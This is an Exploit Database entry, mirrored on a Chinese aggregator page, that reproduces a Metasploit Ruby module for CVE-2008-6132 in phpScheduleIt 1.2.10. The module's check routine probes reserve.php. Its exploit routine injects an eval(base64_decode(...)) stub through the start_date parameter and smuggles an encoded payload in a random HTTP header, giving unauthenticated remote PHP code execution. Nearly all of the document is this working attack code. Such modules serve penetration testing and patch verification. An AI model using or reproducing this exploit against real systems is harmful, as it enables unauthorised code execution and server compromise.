phpScheduleIt 1.2.10 – ‘reserve.php’ Arbitrary Code Injection (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2011-10-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18037/

• ##
  # $Id: phpscheduleit_start_date.rb 14073 2011-10-26 18:06:12Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',
  			'Description'=> %q{
  					This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
  				software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
  				option is 'off'. Authentication is not required to exploit the bug.
  
  				Version 1.2.10 and earlier of phpScheduleIt are affected.
  			},
  			'Author' =>
  				[
  					'EgiX',# Vulnerability Discovery and Exploit
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 14073 $',
  			'References' =>
  				[
  					['CVE', '2008-6132'],
  					['OSVDB', '48797'],
  					['BID', '31520'],
  					['URL', 'http://www.exploit-db.com/exploits/6646/'],
  				],
  			'Privileged' => false,
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Payload'=>
  				{
  					# max header length for Apache,
  					# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
  					'Space' => 8190,
  					'DisableNops' => true,
  					'Keys'=> ['php'],
  				},
  			'Targets'=> [ ['Automatic', { }] ],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Oct 1 2008'))
  
  		register_options(
  			[
  				OptString.new('URI', [ true,"The full URI path to phpScheduleIt", '/phpscheduleit']),
  			], self.class)
  	end
  
  	def check
  		signature = rand_text_alpha(rand(10)+10)
  		stub = "1').${print('#{signature}')}.${die};#"
  		my_payload = "btnSubmit=1&start_date=#{stub}"
  
  		if datastore['URI'][-1, 1] == "/"
  			uri = datastore['URI'] + "reserve.php"
  		else
  			uri = datastore['URI'] + "/reserve.php"
  		end
  
  		print_status("Checking uri #{uri}")
  
  		response = send_request_cgi({
  			'method' => "POST",
  			'global' => true,
  			'uri' => uri,
  			'headers' => {
  					'Referer' => uri,
  				},
  			'data' => "#{my_payload}"
  		})
  
  		if response.code == 200 and response.body =~ /#{signature}/
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
  		stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"
  		my_payload = "btnSubmit=1&start_date=#{stub}"
  
  		if datastore['URI'][-1, 1] == "/"
  			uri = datastore['URI'] + "reserve.php"
  		else
  			uri = datastore['URI'] + "/reserve.php"
  		end
  
  		print_status("Sending request for: #{uri}")
  		print_status("Payload embedded in header: #{headername}")
  
  		response = send_request_cgi({
  			'method' => "POST",
  			'global' => true,
  			'uri' => uri,
  			'headers' => {
  					headername=> Rex::Text.encode_base64(payload.encoded),
  					'Referer' => uri
  				},
  			'data' => "#{my_payload}"
  		}, 3)
  
  		if response and response.code != 200
  			print_error("Server returned a non-200 status code: (#{response.code})")
  		end
  
  		handler
  	end
  end